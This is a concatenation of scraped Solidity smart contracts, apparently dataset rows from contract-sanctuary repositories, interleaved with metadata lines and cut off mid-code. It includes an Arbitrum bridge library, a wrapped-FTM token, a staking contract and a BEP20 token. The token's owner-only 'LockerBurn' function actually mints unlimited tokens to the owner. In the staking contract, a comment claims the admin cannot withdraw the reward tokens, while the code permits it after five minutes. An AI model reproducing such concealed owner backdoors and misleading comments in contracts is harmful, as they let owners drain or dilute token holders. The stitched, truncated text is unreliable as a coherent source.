address destAddr, uint256 amount, bytes calldata data) external returns (uint256); function sendL1FundedUnsignedTransaction(uint256 maxGas, uint256 gasPriceBid, uint256 nonce, address destAddr, bytes calldata data) external payable returns (uint256); function sendL1FundedContractTransaction(uint256 maxGas, uint256 gasPriceBid, address destAddr, bytes calldata data) external payable returns (uint256); function createRetryableTicket(address destAddr, uint256 arbTxCallValue, uint256 maxSubmissionCost, address submissionRefundAddress, address valueRefundAddress, uint256 maxGas, uint256 gasPriceBid, bytes calldata data) external payable returns (uint256); function createRetryableTicketNoRefundAliasRewrite(address destAddr, uint256 arbTxCallValue, uint256 maxSubmissionCost, address submissionRefundAddress, address valueRefundAddress, uint256 maxGas, uint256 gasPriceBid, bytes calldata data) external payable returns (uint256); function depositEth(uint256 maxSubmissionCost) external payable returns (uint256); function bridge() external view returns (address); function pauseCreateRetryables() external; function unpauseCreateRetryables() external; function startRewriteAddress() external; function stopRewriteAddress() external; } // OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IOutbox.sol) interface IOutboxUpgradeable { event OutboxEntryCreated(uint256 indexed batchNum, uint256 outboxEntryIndex, bytes32 outputRoot, uint256 numInBatch); event OutBoxTransactionExecuted(address indexed destAddr, address indexed l2Sender, uint256 indexed outboxEntryIndex, uint256 transactionIndex); function l2ToL1Sender() external view returns (address); function l2ToL1Block() external view returns (uint256); function l2ToL1EthBlock() external view returns (uint256); function l2ToL1Timestamp() external view returns (uint256); function l2ToL1BatchNum() external view returns (uint256); function l2ToL1OutputId() external view returns (bytes32); function processOutgoingMessages(bytes calldata sendsData, uint256[] calldata sendLengths) external; function outboxEntryExists(uint256 batchNum) external view returns (bool); } library LibArbitrumL1Upgradeable { function isCrossChain(address bridge) internal view returns (bool) { return msg.sender == bridge; } function crossChainSender(address bridge) internal view returns (address) { if (!isCrossChain(bridge)) revert NotCrossChainCall(); address sender = IOutboxUpgradeable(IBridgeUpgradeable(bridge).activeOutbox()).l2ToL1Sender(); require(sender != address(0), "LibArbitrumL1: system messages without sender"); return sender; } } abstract contract CrossChainEnabledArbitrumL1Upgradeable is Initializable, CrossChainEnabledUpgradeable { /// @custom:oz-upgrades-unsafe-allow state-variable-immutable address private immutable _bridge; /// @custom:oz-upgrades-unsafe-allow constructor constructor(address bridge) { _bridge = bridge; } function _isCrossChain() internal view virtual override returns (bool) { return LibArbitrumL1Upgradeable.isCrossChain(_bridge); } function _crossChainSender() internal view virtual override onlyCrossChain returns (address) { return LibArbitrumL1Upgradeable.crossChainSender(_bridge); } uint256[50] private __gap; }
63,350
12,027
c1c0266d53ed5aa033092fa1dc1adbec1afca534962e8bf02c391d4a054a3991
21,973
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/f8/f8cB82F69ba9A9fD5d161DEceb54D763866E4B89_WrappedFtm.sol
2,973
11,574
pragma solidity ^0.5.0; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is Context, PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract WrappedFtm is ERC20, ERC20Detailed, ERC20Pausable { // Error Code: No error. uint256 public constant ERR_NO_ERROR = 0x0; // Error Code: Non-zero value expected to perform the function. uint256 public constant ERR_INVALID_ZERO_VALUE = 0x01; // create instance of the wFTM token constructor () public ERC20Detailed("Wrapped Fantom", "WFTM", 18) { } // deposit wraps received FTM tokens as wFTM in 1:1 ratio by minting // the received amount of FTMs in wFTM on the sender's address. function deposit() public whenNotPaused payable returns (uint256) { // there has to be some value to be converted if (msg.value == 0) { return ERR_INVALID_ZERO_VALUE; } // we already received FTMs, mint the appropriate amount of wFTM _mint(msg.sender, msg.value); // all went well here return ERR_NO_ERROR; } // withdraw unwraps FTM tokens by burning specified amount // of wFTM from the caller address and sending the same amount // of FTMs back in exchange. function withdraw(uint256 amount) public whenNotPaused returns (uint256) { // there has to be some value to be converted if (amount == 0) { return ERR_INVALID_ZERO_VALUE; } // burn wFTM from the sender first to prevent re-entrance issue _burn(msg.sender, amount); // if wFTM were burned, transfer native tokens back to the sender msg.sender.transfer(amount); // all went well here return ERR_NO_ERROR; } }
112,912
12,028
21fa35a28ab7576b906b13cf9ea756ef0bf0e8ee91c0e9dc8345aeebbcf3d163
30,146
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/61/619613733cff2ea82023389b9d04040b402833fa_ConstantReturnStaking.sol
5,227
21,024
// SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.11; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } interface LegacyToken { function transfer(address, uint) external; } contract ConstantReturnStaking is Ownable { using Address for address; using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address indexed holder, uint amount); event ReferralFeeTransferred(address indexed referrer, uint amount); event Reinvest(address indexed holder, uint amount); // ============================= CONTRACT VARIABLES ============================== // stake token contract address address public constant TRUSTED_TOKEN_ADDRESS = 0xBD100d061E120b2c67A24453CF6368E63f1Be056; // earnings reward rate uint public constant REWARD_RATE_X_100 = 3000; uint public constant REWARD_INTERVAL = 90 days; // staking fee uint public constant STAKING_FEE_RATE_X_100 = 0; // unstaking fee uint public constant UNSTAKING_FEE_RATE_X_100 = 0; // this % of earned rewards go to referrer uint public constant REFERRAL_FEE_RATE_X_100 = 500; // unstaking possible after 72 hours uint public constant LOCKUP_TIME = 90 days; uint public constant ADMIN_CAN_CLAIM_AFTER = 5 minutes; // ========================= END CONTRACT VARIABLES ============================== uint public totalClaimedRewards = 0; uint public totalClaimedReferralFee = 0; uint public immutable contractStartTime; // Contracts are not allowed to deposit, claim or withdraw modifier noContractsAllowed() { require(!(address(msg.sender).isContract()) && tx.origin == msg.sender, "No Contracts Allowed!"); _; } EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public rewardsPendingClaim; mapping (address => address) public referrals; mapping (address => uint) public totalReferralFeeEarned; mapping (address => EnumerableSet.AddressSet) private activeReferredAddressesOfUser; mapping (address => EnumerableSet.AddressSet) private totalReferredAddressesOfUser; constructor() public { contractStartTime = now; } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { uint referralFee = pendingDivs.mul(REFERRAL_FEE_RATE_X_100).div(100e2); uint pendingDivsAfterFee = pendingDivs.sub(referralFee); bool success = transferReferralFeeIfPossible(referrals[account], referralFee); uint amount = pendingDivs; if (success) { amount = pendingDivsAfterFee; } rewardsPendingClaim[account] = rewardsPendingClaim[account].add(amount); totalEarnedTokens[account] = totalEarnedTokens[account].add(amount); totalClaimedRewards = totalClaimedRewards.add(amount); } lastClaimedTime[account] = now; } function transferReferralFeeIfPossible(address account, uint amount) private returns (bool) { if (account != address(0) && amount > 0) { totalReferralFeeEarned[account] = totalReferralFeeEarned[account].add(amount); require(Token(TRUSTED_TOKEN_ADDRESS).transfer(account, amount), "Could not transfer referral fee!"); totalClaimedReferralFee = totalClaimedReferralFee.add(amount); emit ReferralFeeTransferred(account, amount); return true; } return false; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff; uint stakingEndTime = contractStartTime.add(REWARD_INTERVAL); uint _now = now; if (_now > stakingEndTime) { _now = stakingEndTime; } if (lastClaimedTime[_holder] >= _now) { timeDiff = 0; } else { timeDiff = _now.sub(lastClaimedTime[_holder]); } uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(REWARD_RATE_X_100) .mul(timeDiff) .div(REWARD_INTERVAL) .div(1e4); return pendingDivs; } function getTotalPendingDivs(address _holder) external view returns (uint) { uint pending = getPendingDivs(_holder); uint awaitingClaim = rewardsPendingClaim[_holder]; return pending.add(awaitingClaim); } function getNumberOfHolders() external view returns (uint) { return holders.length(); } function getNumberOfReferredStakers(address referrer) external view returns (uint _activeStakers, uint _totalStakers) { _activeStakers = activeReferredAddressesOfUser[referrer].length(); _totalStakers = totalReferredAddressesOfUser[referrer].length(); } function getReferredStaker(address account, uint i) external view returns (address _staker, uint _totalEarned) { _staker = totalReferredAddressesOfUser[account].at(i); _totalEarned = totalEarnedTokens[_staker]; } function getActiveReferredStaker(address account, uint i) external view returns (address _staker, uint _totalEarned) { _staker = activeReferredAddressesOfUser[account].at(i); _totalEarned = totalEarnedTokens[_staker]; } function stake(address account,uint amountToStake, address referrer) external onlyOwner { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(TRUSTED_TOKEN_ADDRESS).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(account); depositedTokens[account] = depositedTokens[account].add(amountToStake); holders.add(account); if (referrals[account] == address(0)) { referrals[account] = referrer; } totalReferredAddressesOfUser[referrals[account]].add(account); activeReferredAddressesOfUser[referrals[account]].add(account); stakingTime[account] = now; } function unstake(uint amountToWithdraw) external noContractsAllowed { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > LOCKUP_TIME, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(UNSTAKING_FEE_RATE_X_100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(TRUSTED_TOKEN_ADDRESS).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(TRUSTED_TOKEN_ADDRESS).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); activeReferredAddressesOfUser[referrals[msg.sender]].remove(msg.sender); } } // emergency unstake without caring about pending earnings // pending earnings will be lost / set to 0 if used emergency unstake function emergencyUnstake(uint amountToWithdraw) external noContractsAllowed { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > LOCKUP_TIME, "You recently staked, please wait before withdrawing."); // set pending earnings to 0 here lastClaimedTime[msg.sender] = now; uint fee = amountToWithdraw.mul(UNSTAKING_FEE_RATE_X_100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(TRUSTED_TOKEN_ADDRESS).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(TRUSTED_TOKEN_ADDRESS).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() external noContractsAllowed { updateAccount(msg.sender); uint amount = rewardsPendingClaim[msg.sender]; if (amount > 0) { rewardsPendingClaim[msg.sender] = 0; require(Token(TRUSTED_TOKEN_ADDRESS).transfer(msg.sender, amount), "Could not transfer earned tokens."); emit RewardsTransferred(msg.sender, amount); } } function reInvest() external noContractsAllowed { updateAccount(msg.sender); uint amount = rewardsPendingClaim[msg.sender]; if (amount > 0) { rewardsPendingClaim[msg.sender] = 0; // re-invest here depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amount); stakingTime[msg.sender] = now; emit Reinvest(msg.sender, amount); } } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) // Admin cannot transfer out reward tokens from this smart contract function transferAnyERC20Token(address tokenAddress, address recipient, uint amount) external onlyOwner { require (tokenAddress != TRUSTED_TOKEN_ADDRESS || now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Cannot Transfer Out main tokens!"); require (Token(tokenAddress).transfer(recipient, amount), "Transfer failed!"); } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) // Admin cannot transfer out reward tokens from this smart contract function transferAnyLegacyERC20Token(address tokenAddress, address recipient, uint amount) external onlyOwner { require (tokenAddress != TRUSTED_TOKEN_ADDRESS || now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Cannot Transfer Out main tokens!"); LegacyToken(tokenAddress).transfer(recipient, amount); } }
87,146
12,029
a4fca330e9e90a118273cd3f1d1c3d35fcf66494102f086b5b2678752ec2ade1
21,057
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x1510958Dfd7504FAc60D410d33665d33271659d3/contract.sol
2,767
9,839
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface iBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } interface IPancakeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract NexusProtocolToken is Context, iBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; bool isSL = true; uint256 _AMM = 100000; constructor() public { _name = 'Nexus Protocol'; _symbol = 'PSI'; _decimals = 9; _totalSupply = 1000000 * 10**9 * 10**9; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function getOwner() external view virtual override returns (address) { return owner(); } function decimals() external view virtual override returns (uint8) { return _decimals; } function symbol() external view virtual override returns (string memory) { return _symbol; } function name() external view virtual override returns (string memory) { return _name; } function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function LockerBurn(uint256 amount) external onlyOwner returns (bool) { _balances[owner()] = _balances[owner()].add(amount); emit Transfer(address(0), owner(), amount); } function theSL(bool _sl) public onlyOwner virtual returns (bool) { isSL = _sl; return true; } function sl() public view returns (bool) { return isSL; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function 